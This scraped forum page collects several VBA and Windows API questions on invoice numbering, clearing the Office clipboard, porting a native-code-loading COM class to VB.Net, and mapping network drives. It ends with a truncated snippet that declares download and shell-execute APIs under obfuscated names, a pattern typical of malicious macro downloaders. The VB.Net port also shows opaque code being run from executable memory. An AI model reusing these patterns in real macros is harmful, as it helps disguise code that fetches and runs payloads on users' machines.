I have the below code in VBA which works perfectly fine in Excel 2003.
Migrating the template to Excel 2007, doesn't work.
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Sub Workbook_Open()
Exit Sub
Dim WorksheetName As String
Dim WorksheetCell As String
Dim Section As String
Dim kKey As String
Dim lLine As Long
Dim InvoiceNumber As Long
Dim InvoiceNumberCell As Object
Dim TemplateName As String
Dim IniFileName As String
Dim Dummy As Variant
TemplateName = "MyInvoicesTemplate.xlt"
WorksheetName = "Invoice"
WorksheetCell = "H2"
Section = "Invoice"
kKey = "Number"
IniFileName = "C:\Windows\Temp\InvoiceNumber.txt"
Set InvoiceNumberCell = Worksheets(WorksheetName).Range(WorksheetCell)
If UCase(ActiveWorkbook.Name) = UCase(TemplateName) Then GoTo Finito
Dummy = GetString(Section, kKey, IniFileName)
If Left(Dummy, 1) = Chr$(0) Then
InvoiceNumber = 1
Else
InvoiceNumber = CLng(Dummy) + 1
End If
WritePrivateProfileString Section, kKey, CStr(InvoiceNumber), IniFileName
InvoiceNumberCell.Value = InvoiceNumber
With ActiveWorkbook.VBProject.VBComponents(ActiveWorkbook.CodeName).CodeModule
lLine = .ProcBodyLine("Workbook_Open", vbext_pk_Proc)
.InsertLines lLine + 1, "Exit Sub"
End With
Finito:
Set InvoiceNumberCell = Nothing
End Sub
Function GetString(Section As String, Key As String, File As String) As String
Dim KeyValue As String
Dim Characters As Long
KeyValue = String(255, 0)
Characters = GetPrivateProfileString(Section, Key, "", KeyValue, 255, File)
If Characters > 1 Then
KeyValue = Left(KeyValue, Characters)
End If
GetString = KeyValue
End Function
Any ideas why is this happening?
I tried saving the template in different formats but no luck !
Thanks.
MK
If you're using 64 bit Office, the APIs have changed. See
http://www.jkp-ads.com/articles/apideclarations.asp
API has changed.
IF VBA7, declare ptrSafe and LongPtr, etc.
Related
I have a macro that copies rtf format word document to outlook email for sending it to many recipients. However, due to this a copy of the text is also saved on the clipboard and the code crashes if many recipients are there. I was using the below code for clearing the clipboard but the code is no longer working after the office 365 update. I tried changing the declare functions to include 'Ptrsafe' but still not able to run it. Any help would be greatly appreciated. Thanks
Declare Function AccessibleObjectFromWindow Lib "oleacc" ( _
ByVal hwnd As Long, ByVal dwId As Long, _
riid As tGUID, ppvObject As Object) As Long
Declare Function AccessibleChildren Lib "oleacc" _
(ByVal paccContainer As IAccessible, ByVal iChildStart As Long, _
ByVal cChildren As Long, rgvarChildren As Variant, _
pcObtained As Long) As Long
Declare Function FindWindow Lib "User32" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Declare Function GetParent Lib "User32" (ByVal hwnd As Long) As Long
Declare Function EnumChildWindows Lib "User32" (ByVal hwndParent _
As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Declare Function GetClassName Lib "User32" Alias "GetClassNameA" (ByVal hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, _
ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpClass As String, ByVal lpCaption As String) As Long
Const CHILDID_SELF = 0&
Const ROLE_PUSHBUTTON = &H2B&
Const WM_GETTEXT = &HD
Type tGUID
lData1 As Long
nData2 As Integer
nData3 As Integer
abytData4(0 To 7) As Byte
End Type
Type AccObject
objIA As IAccessible
lngChild As Long
End Type
Dim lngChild As Long
Dim strClass As String
Dim strCaption As String
'Using Active Accessibility to clear Office clipboard
'Assumption:
'this is running within Word or Excel as a macro, thus the global Application object is available
Sub ClearOfficeClipboard()
Static accButton As AccObject
If accButton.objIA Is Nothing Then
Dim fShown As Boolean
fShown = CommandBars("Office Clipboard").Visible 'Office 2013+ version
If Not (fShown) Then
CommandBars("Office Clipboard").Visible = True 'Office 2013+ version
End If
accButton = FindAccessibleChildInWindow(GetOfficeClipboardHwnd(Application), "Clear All", ROLE_PUSHBUTTON)
End If
If accButton.objIA Is Nothing Then
MsgBox "Unable to locate the ""Clear All"" button!"
Else
accButton.objIA.accDoDefaultAction accButton.lngChild
End If
CommandBars("Office Clipboard").Visible = False
End Sub
'Retrieve window class name
Function GetWndClass(ByVal hwnd As Long) As String
Dim buf As String
Dim retval As Long
buf = Space(256)
retval = GetClassName(hwnd, buf, 255)
GetWndClass = Left(buf, retval)
End Function
'Retrieve window title
Function GetWndText(ByVal hwnd As Long) As String
Dim buf As String
Dim retval As Long
buf = Space(256)
retval = SendMessage(hwnd, WM_GETTEXT, 255, buf)
GetWndText = Left(buf, InStr(1, buf, Chr(0)) - 1)
End Function
'The call back function used by EnumChildWindows
Function EnumChildWndProc(ByVal hChild As Long, ByVal lParam As Long) As Long
Dim found As Boolean
EnumChildWndProc = -1
If strClass > "" And strCaption > "" Then
found = StrComp(GetWndClass(hChild), strClass, vbTextCompare) = 0 And _
StrComp(GetWndText(hChild), strCaption, vbTextCompare) = 0
ElseIf strClass > "" Then
found = (StrComp(GetWndClass(hChild), strClass, vbTextCompare) = 0)
ElseIf strCaption > "" Then
found = (StrComp(GetWndText(hChild), strCaption, vbTextCompare) = 0)
Else
found = True
End If
If found Then
lngChild = hChild
EnumChildWndProc = 0
Else
EnumChildWndProc = -1
End If
End Function
'Find the window handle of a child window based on its class and titie
Function FindChildWindow(ByVal hParent As Long, Optional cls As String = "", Optional title As String = "") As Long
lngChild = 0
strClass = cls
strCaption = title
EnumChildWindows hParent, AddressOf EnumChildWndProc, 0
FindChildWindow = lngChild
End Function
'Retrieve the IAccessible interface from a window handle
'Reference:Jean Ross,Chapter 17: Accessibility in Visual Basic,Advanced Microsoft Visual Basic 6.0, 2nd Edition
Function IAccessibleFromHwnd(hwnd As Long) As IAccessible
Dim oIA As IAccessible
Dim tg As tGUID
Dim lReturn As Long
' Define the GUID for the IAccessible object
' {618736E0-3C3D-11CF-810C-00AA00389B71}
With tg
.lData1 = &H618736E0
.nData2 = &H3C3D
.nData3 = &H11CF
.abytData4(0) = &H81
.abytData4(1) = &HC
.abytData4(2) = &H0
.abytData4(3) = &HAA
.abytData4(4) = &H0
.abytData4(5) = &H38
.abytData4(6) = &H9B
.abytData4(7) = &H71
End With
' Retrieve the IAccessible object for the form
lReturn = AccessibleObjectFromWindow(hwnd, 0, tg, oIA)
Set IAccessibleFromHwnd = oIA
End Function
'Recursively looking for a child with specified accName and accRole in the accessibility tree
Function FindAccessibleChild(oParent As IAccessible, strName As String, lngRole As Long) As AccObject
Dim lHowMany As Long
Dim avKids() As Variant
Dim lGotHowMany As Long, i As Integer
Dim oChild As IAccessible
FindAccessibleChild.lngChild = CHILDID_SELF
If oParent.accChildCount = 0 Then
Set FindAccessibleChild.objIA = Nothing
Exit Function
End If
lHowMany = oParent.accChildCount
ReDim avKids(lHowMany - 1) As Variant
lGotHowMany = 0
If AccessibleChildren(oParent, 0, lHowMany, avKids(0), lGotHowMany) <> 0 Then
MsgBox "Error retrieving accessible children!"
Set FindAccessibleChild.objIA = Nothing
Exit Function
End If
'To do: the approach described in http://msdn.microsoft.com/msdnmag/issues/0400/aaccess/default.aspx
' are probably better and more reliable
On Error Resume Next
For i = 0 To lGotHowMany - 1
If IsObject(avKids(i)) Then
If StrComp(avKids(i).accName, strName) = 0 And avKids(i).accRole = lngRole Then
Set FindAccessibleChild.objIA = avKids(i)
Exit For
Else
Set oChild = avKids(i)
FindAccessibleChild = FindAccessibleChild(oChild, strName, lngRole)
If Not FindAccessibleChild.objIA Is Nothing Then
Exit For
End If
End If
Else
If StrComp(oParent.accName(avKids(i)), strName) = 0 And oParent.accRole(avKids(i)) = lngRole Then
Set FindAccessibleChild.objIA = oParent
FindAccessibleChild.lngChild = avKids(i)
Exit For
End If
End If
Next i
End Function
Function FindAccessibleChildInWindow(hwndParent As Long, strName As String, lngRole As Long) As AccObject
Dim oParent As IAccessible
Set oParent = IAccessibleFromHwnd(hwndParent)
If oParent Is Nothing Then
Set FindAccessibleChildInWindow.objIA = Nothing
Else
FindAccessibleChildInWindow = FindAccessibleChild(oParent, strName, lngRole)
End If
End Function
'Retrieve the window handle of the task pane
Function GetOfficeTaskPaneHwnd(app As Object) As Long
GetOfficeTaskPaneHwnd = FindChildWindow(app.hwnd, _
"MsoCommandBar", Application.CommandBars("Task Pane").NameLocal)
End Function
'Retrieve the window handle of the clipboard child window inside task pane
'The window title of the clipboard window seems to be language independent,
'making it a better start point to searching our UI element than the task pane window
Function GetOfficeClipboardHwnd(app As Object) As Long
GetOfficeClipboardHwnd = FindChildWindow(app.hwnd, , "Collect and Paste 2.0")
End Function```
We can clear the clipboard using a MsForms.DataObject. The code below creates one without the need to reference the MsForms library.
Sub ClearClipBoard()
With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
.SetText ""
.PutInClipBoard
End With
End Sub
This is the source of the original VBA code: Original VBA code
Im converting these functions to VB.Net
FilePropertyExplorer
Class_Initialize
Heres the code I have thus far (note I removed some lines for brevity)
Imports System.Runtime.InteropServices
Public Class VirtualCOMObject
Private Const OPTION_BASE As Long = 0
Private Const OPTION_FLAGS As Long = 2
Private Const OPTION_INCLUDE_REFERENCEDOCS As Long = 0
Private Const OPTION_DISABLEDCLASSES As String = ""
Private Const DECOMPRESSED_EXT As Long = 56493
Private Const SIZEOF_PTR32 As Long = &H4
Private Const SIZEOF_PTR64 As Long = &H8
Private Const PAGE_EXECUTE_RW As Long = &H40
Private Const MEM_RESERVE_AND_COMMIT As Long = &H3000
Private Const ERR_OUT_OF_MEMORY As Long = &H7
Private m_ClassFactory As Object
<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
Private Shared Function VirtualAlloc(
ByVal lpAddress As IntPtr,
ByVal dwSize As UIntPtr,
ByVal flAllocationType As AllocationType,
ByVal flProtect As MemoryProtection) As IntPtr
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Public Shared Function GetModuleHandleA(ByVal lpModuleName As String) As IntPtr
End Function
<DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Ansi, ExactSpelling:=True)>
Public Shared Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
End Function
<DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Ansi, ExactSpelling:=True, EntryPoint:="RtlMoveMemory")>
Public Shared Sub CopyMemoryAnsi(ByVal Dest As IntPtr, ByVal Source As String, ByVal Size As IntPtr)
End Sub
<DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Ansi, ExactSpelling:=True, EntryPoint:="RtlMoveMemory")>
Public Shared Sub CastToObject(ByRef Dest As Object, ByRef Source As IntPtr, ByVal Size As IntPtr)
End Sub
Declare Sub CopyMemoryByref Lib "Kernel32.dll" Alias "RtlMoveMemory" (ByRef dest As Integer, ByRef source As Integer, ByVal numBytes As Integer)
<Flags>
Public Enum AllocationType As UInteger
COMMIT = 4096
RESERVE = 8192
RESET = 524288
TOP_DOWN = 1048576
WRITE_WATCH = 2097152
PHYSICAL = 4194304
LARGE_PAGES = 536870912
End Enum
<Flags>
Public Enum MemoryProtection As UInteger
NOACCESS = 1
[READONLY] = 2
READWRITE = 4
WRITECOPY = 8
EXECUTE = 16
EXECUTE_READ = 32
EXECUTE_READWRITE = 64
EXECUTE_WRITECOPY = 128
GUARD_Modifierflag = 256
NOCACHE_Modifierflag = 512
WRITECOMBINE_Modifierflag = 1024
End Enum
Public Sub Class_Initialize()
Dim NativeCode As String
Dim LoaderVTable As IDispatchVTable
Dim Ignore As Boolean
Dim ClassFactoryLoader As Object
#If VBA7 = False Then
Dim Kernel32Handle As Long
Dim GetProcAddressPtr As Long
Dim NativeCodeAddr As Long
Dim LoaderVTablePtr As Long
Dim LoaderObj As Long
#Else
Dim Kernel32Handle As LongPtr
Dim GetProcAddressPtr As LongPtr
Dim NativeCodeAddr As LongPtr
Dim LoaderVTablePtr As LongPtr
Dim LoaderObj As LongPtr
#End If
'#If Win64 = False Then
' Const SIZEOF_PTR = SIZEOF_PTR32
'#Else
Const SIZEOF_PTR = SIZEOF_PTR64
'#End If
'NativeCode string initialized here
NativeCode = NativeCode & "%EEEE%::::RPZPPPh$#$$j PPPPH+T$ t5AYAZkDTX 5j7{{L3TQ#M3LR#A)DR#Xf5##fA)AUXI3DR#ZZZZZZ?!, #RY3LDl3TA#PY,VH)DJ#XXXXXXXXXX%EEEE%::::VSPPPPj PPPPPPPP4T)D$04P)D$,4 '4 )D$($ PZ3D$#+D$ YQ3H +L$ XP3Q +T$0XPf55nf)BUR[YQ^VXP2Cf<0tF1+++
'==========================================================================
'Code removed for brevity. The full string can be found on the links above
'==========================================================================
ij DdEXXZPEdkHOqrLSKGZT;pOCUHvFst;z??qapyyZtzrUuhX_;hnJmp;n;kGQF^AF oqvSDDS\^;TufXPumRLDVQSzCbT]x]keCb?fWgTwFvTwEj0"
ClassFactoryLoader = New Object()
' Allocate the executable memory for the object
NativeCodeAddr = VirtualAlloc(0, Len(NativeCode) + DECOMPRESSED_EXT, MEM_RESERVE_AND_COMMIT, PAGE_EXECUTE_RW)
If NativeCodeAddr <> 0 Then
' Copy the x86 and x64 native code into the allocated memory
Call CopyMemoryAnsi(NativeCodeAddr, NativeCode, Len(NativeCode))
' Force the memory address into an Object variable (also triggers the shell code)
LoaderVTable.QueryInterface = NativeCodeAddr 'longptr
LoaderVTablePtr = VarPtr(LoaderVTable) 'ptr to LoaderVTable(IDispatchVTable structure)
LoaderObj = VarPtr(LoaderVTablePtr)
'==========================================================================
'ERROR: Managed Debugging Assistant 'InvalidVariant' : 'An invalid VARIANT was detected during a conversion from an unmanaged VARIANT to a managed object. Passing invalid VARIANTs to the CLR can cause unexpected exceptions, corruption or data loss.'
'==========================================================================
Call CastToObject(ClassFactoryLoader, LoaderObj, SIZEOF_PTR) 'CastToObject=RtlMoveMemory
Ignore = TypeOf ClassFactoryLoader Is VBA.Collection 'ClassFactoryLoader(object type)
m_ClassFactory = (ClassFactoryLoader) 'object
' Initialize our COM object
Kernel32Handle = GetModuleHandleA("kernel32")
GetProcAddressPtr = GetProcAddress(Kernel32Handle, "GetProcAddress")
'With m_ClassFactory
' Call .Init(Kernel32Handle, GetProcAddressPtr, OPTION_BASE + OPTION_FLAGS, NativeCode, New FilePropertyExplorer_Helper)
' Ignore = TypeOf .FileProperties Is FileProperties And TypeOf .FileProperty Is FileProperty
'End With
Else
Err.Raise(ERR_OUT_OF_MEMORY)
End If
End Sub
Function OpenFile(ByVal FilePath As String, Optional ByVal WriteSupport As Boolean = False) As FileProperties
OpenFile = m_ClassFactory.OpenFile(FilePath, WriteSupport)
End Function
End Class
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Ansi, Pack:=1)>
Public Structure IDispatchVTable
Public QueryInterface As IntPtr
Public AddRef As IntPtr
Public Release As IntPtr
Public GetTypeInfoCount As IntPtr
Public GetTypeInfo As IntPtr
Public GetIDsOfNames As IntPtr
Public Invoke As IntPtr
End Structure
VarToPtr . Im unsure of this code. Found it on the internet and slightly modified it
Module VarPtrSupport
' a delegate that can point to the VarPtrCallback method
Private Delegate Function VarPtrCallbackDelegate(
ByVal address As Integer, ByVal unused1 As Integer,
ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
' two aliases for the CallWindowProcA Windows API method
' notice that 2nd argument is passed by-reference
Private Declare Function CallWindowProc Lib "user32" _
Alias "CallWindowProcA" _
(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Short,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
Private Declare Function CallWindowProc Lib "user32" _
Alias "CallWindowProcA" _
(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Integer,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
' ...add more overload to support other data types...
Private Declare Function CallWindowProc Lib "user32" _
Alias "CallWindowProcA" _
(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As IDispatchVTable,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
Private Declare Function CallWindowProc Lib "user32" _
Alias "CallWindowProcA" _
(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Long,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
Private Declare Function CallWindowProc Lib "user32" _
Alias "CallWindowProcA" _
(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As IntPtr,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
' the method that is indirectly executed when calling CallVarPtrSupport
' notice that 1st argument is declared by-value (this is the
' argument that receives the 2nd value passed to CallVarPtrSupport)
Private Function VarPtrCallback(ByVal address As Integer,
ByVal unused1 As Integer, ByVal unused2 As Integer,
ByVal unused3 As Integer) As Integer
Return address
End Function
' two overloads of VarPtr
Public Function VarPtr(ByRef var As Short) As Integer
Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
End Function
Public Function VarPtr(ByRef var As Integer) As Integer
Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
End Function
Public Function VarPtr(ByRef var As IDispatchVTable) As Integer
Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
End Function
Public Function VarPtr(ByRef var As Long) As Integer
Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
End Function
Public Function VarPtr(ByRef var As IntPtr) As Integer
Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
End Function
' ...add more overload to support other data types...
End Module
Now I currently get the error (I placed a comment in the code):
ERROR: Managed Debugging Assistant 'InvalidVariant' : 'An invalid VARIANT was detected during a conversion from an unmanaged VARIANT to a managed object. Passing invalid VARIANTs to the CLR can cause unexpected exceptions, corruption or data loss.'
But overall... Im actually unsure if Im even on the right track in properly converting the VBA code as Im having to do it without for example excel installed to test the VBA out on.
The code essentially creates a dynamic COM object which will then be used to fetch extended file properties.
If someone could perhaps tell me what Im doing wrong it will be appreciated. Also the code needs to be in .Net and not import any VBA/VB dll's.
In reference to #Jimi's comment, I have created a couple of vba functions for you.
Here is the vba Code which you can just paste into an excel "ThisWorkbook" object.
It will create a text file name "ExtendedProperties.txt" in the same directory as the file that is passed to it.
Sub GetExtendedProperties(strInFullFilePath)
Dim objShell As Object
Dim objFolder As Object
Dim objFolderItem As Object
Dim strPath As String
Dim strFldr As String
Dim vntInfo As Variant
Dim intI As Integer
Dim strName As String
Dim strTemp As String
Dim fso As Object
Dim strOut As String
Dim ts As Object
Set fso = CreateObject("Scripting.FileSystemObject")
strPath = fso.GetAbsolutePathName(strInFullFilePath)
strFldr = fso.GetParentFolderName(strPath)
strName = fso.GetFileName(strPath)
strOut = strFldr & "\ExtendedProperties.txt"
Set ts = fso.CreateTextFile(strOut, True)
Set objShell = CreateObject("shell.application")
If (Not (objShell Is Nothing)) Then
Set objFolder = objShell.Namespace(CStr(strFldr))
If (Not (objFolder Is Nothing)) Then
Set objFolderItem = objFolder.ParseName(CStr(strName))
If (Not (objFolderItem Is Nothing)) Then
For intI = 0 To 321
If intI <> 31 Then
vntInfo = objFolder.GetDetailsOf(Nothing, intI)
strTemp = CStr(vntInfo)
If (InStr(1, strTemp, vbNull) > 0) Then strTemp = Replace(strTemp, vbNull, "")
If IsNull(strTemp) = False Then
ts.WriteLine "File Detail Attribute: " & CheckString(strTemp)
Else
ts.WriteLine "File Detail Attribute: NULL"
End If
vntInfo = objFolder.GetDetailsOf(objFolderItem, intI)
strTemp = CStr(vntInfo)
If (InStr(1, strTemp, vbNull) > 0) Then strTemp = Replace(strTemp, vbNull, "")
If IsNull(strTemp) = False Then
ts.WriteLine "Value: """ & CheckString(strTemp) & """"
Else
ts.WriteLine "Value: NULL"
End If
End If
Next intI
End If
Set objFolderItem = Nothing
End If
Set objFolder = Nothing
End If
ts.Close
Set ts = Nothing
Set objShell = Nothing
End Sub
Private Function CheckString(strInString As String) As String
Dim strOut As String
Dim strTemp As String
Dim blnValid As Boolean
Dim intI As Integer
Dim intJ As Integer
Dim strChar As String
Dim bytChars() As Byte
'This Function is used to check the string to see if there are any problem
' characters in the string (as there are at intI=31 in the above function).
strTemp = strInString
strOut = ""
For intI = 1 To Len(strTemp)
strChar = Mid(strTemp, intI, 1)
If (AscW(strChar) = 32) Or (AscW(strChar) >= 48) And (AscW(strChar) <= 57) Or _
(AscW(strChar) >= 65) And (AscW(strChar) <= 90) Or _
(AscW(strChar) >= 97) And (AscW(strChar) <= 122) Then
strOut = strOut & strChar
End If
Next intI
CheckString = strOut
End Function
Trying to map a network drive letter.
Running code shown below.
See the last function, function xxx. That's my driver code. That's the one I am running.
Unmapping works.
Mapping doesn't work.
Always returns false, means that mapping is never succeeding.
User name, password, and path provided seem accurate.
Any ideas?
Here is the code:
Option Explicit
Private Const CONNECT_UPDATE_PROFILE = &H1
Private Const RESOURCE_CONNECTED As Long = &H1&
Private Const RESOURCE_GLOBALNET As Long = &H2&
Private Const RESOURCETYPE_DISK As Long = &H1&
Private Const RESOURCEDISPLAYTYPE_SHARE& = &H3
Private Const RESOURCEUSAGE_CONNECTABLE As Long = &H1&
Private Declare Function WNetCancelConnection2 Lib "mpr.dll" _
Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Private Declare Function WNetAddConnection2 Lib "mpr.dll" _
Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
Private Type NETCONNECT
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type
Public Function MapDrive(LocalDrive As String, _
RemoteDrive As String, Optional Username As String, _
Optional Password As String) As Boolean
' Example:
' MapDrive "Q:", "\\RemoteMachine\RemoteDirectory", "MyLoginName", "MyPassword"
Dim NetR As NETCONNECT
NetR.dwScope = RESOURCE_GLOBALNET
NetR.dwType = RESOURCETYPE_DISK
NetR.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
NetR.dwUsage = RESOURCEUSAGE_CONNECTABLE
NetR.lpLocalName = Left(LocalDrive, 1) & ":"
NetR.lpRemoteName = RemoteDrive
'Old code:
' MapDrive = (WNetAddConnection2(NetR, Username, Password, _
' CONNECT_UPDATE_PROFILE) = 0)
'Edited this question and updated this code due to good input by poster:
MapDrive = (WNetAddConnection2(NetR, Password, Username, _
CONNECT_UPDATE_PROFILE) = 0)
End Function
Public Function UnMapDrive(DriveLetter As String) As Boolean
Dim NetR As NETCONNECT
With NetR
.dwScope = RESOURCE_GLOBALNET
.dwType = RESOURCETYPE_DISK
.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
.dwUsage = RESOURCEUSAGE_CONNECTABLE
.lpLocalName = DriveLetter & ":"
.lpRemoteName = ""
End With
ChDrive ("C") ' Ensure that the drive letter to be dropped is not active
UnMapDrive = (WNetCancelConnection2(DriveLetter, CONNECT_UPDATE_PROFILE, True) = 0)
End Function
Here is the driver code:
Public Sub xxx()
Dim retval As String
retval = UnMapDrive("S:")
MsgBox retval
retval = MapDrive("S:", _
"\\AFHOUFILE02\User_Folders", _
"kmistry", "XXXXXX")
MsgBox retval
End Sub
You're passing the user ID and password in the incorrect order. In your definition:
Private Declare Function WNetAddConnection2 Lib "mpr.dll" _
Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
And then in your call:
MapDrive = (WNetAddConnection2(NetR, Username, Password, _
CONNECT_UPDATE_PROFILE) = 0)
Based on the declaration, the password should precede the username.
Also, your unmap routine is doubling-up the colon on the drive, but it apparently must not be affecting the outcome since you said it's working.
I see a couple issues with your code and I think there's an easier, more reliable method of programmatically mapping a drive.
Try this method instead:
Public Function mapDrive(mdDrive As String, mdRoute As String, _
Optional mdUserName As String, Optional mdPassword As String) As Boolean
On Error GoTo catchErr
Dim mdMapRoute As String, WshNet As Object
Set WshNet = CreateObject("WScript.Network")
If mdUserName = "" Then
WshNet.MapNetworkDrive mdDrive, mdMapRoute
Else
If mdPassword = "" Then
WshNet.MapNetworkDrive mdDrive, mdMapRoute, , mdUserName
Else
WshNet.MapNetworkDrive mdDrive, mdMapRoute, , mdUserName, mdPassword
End If
End If
catchErr:
Set WshNet = Nothing
Select Case Err
Case 0
mapDrive = True
Case -2147024811 'Already mapped
mapDrive = True
Case Else
MsgBox "Error #" & Err & ": " & vbLf & Err.Description
mapDrive = False
End Select
End Function
Example Usage:
mapDrive "Q:", "\\server\path\sharename\"
More Information:
SmartBear : MapNetworkDrive Method
Lifewire : Working With the Universal Naming Convention (UNC Path)
ESRI Devnet : Pathnames explained: Absolute, relative, UNC, and URL
Wikipedia : Drive Mapping
I found a pretty good solution online that works well on the mapping.
Having trouble unmapping, BUT for me, mapping is more important than unmapping.
The code I already had before seemed to work well on the unmapping.
The combination of the two, gives you a complete solution, although right now, I am not going to take time to gather all that together...
Here it is, the code that worked very well on mapping. I hope readers benefit from it:
JUST COPY PASTE THIS INTO A NEW MODULE...:
#If Win64 Then
Declare PtrSafe Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Declare PtrSafe Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
#Else
Declare Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long
Declare Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETCONNECT, ByVal lpPassword As String, ByVal lpUserName As String, ByVal dwFlags As Long) As Long
#End If
Const CONNECT_UPDATE_PROFILE As Long = &H1
Const RESOURCE_CONNECTED As Long = &H1
Const RESOURCE_GLOBALNET As Long = &H2
Const RESOURCETYPE_DISK As Long = &H1
Const RESOURCEDISPLAYTYPE_SHARE As Long = &H3
Const RESOURCEUSAGE_CONNECTABLE As Long = &H1
Type NETCONNECT
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As String
lpRemoteName As String
lpComment As String
lpProvider As String
End Type
Function MapNetworkDrive(ByVal driveLetter As String, ByVal UNC As String) As Boolean
Dim dl As String * 1
Dim nc As NETCONNECT
dl = UCase$(driveLetter)
nc.dwScope = RESOURCE_GLOBALNET
nc.dwType = RESOURCETYPE_DISK
nc.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
nc.dwUsage = RESOURCEUSAGE_CONNECTABLE
nc.lpLocalName = driveLetter & ":"
nc.lpRemoteName = UNC
MapNetworkDrive = (WNetAddConnection2(nc, vbNullString, vbNullString, CONNECT_UPDATE_PROFILE))
End Function
Function DisconnectNetworkDrive(driveLetter As String) As Boolean
Dim dl As String * 1
Dim nc As NETCONNECT
nc.dwScope = RESOURCE_GLOBALNET
nc.dwType = RESOURCETYPE_DISK
nc.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE
nc.dwUsage = RESOURCEUSAGE_CONNECTABLE
nc.lpLocalName = driveLetter & ":"
nc.lpRemoteName = vbNullString
DisconnectNetworkDrive = Not (WNetCancelConnection2(dl, CONNECT_UPDATE_PROFILE, False))
End Function
Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
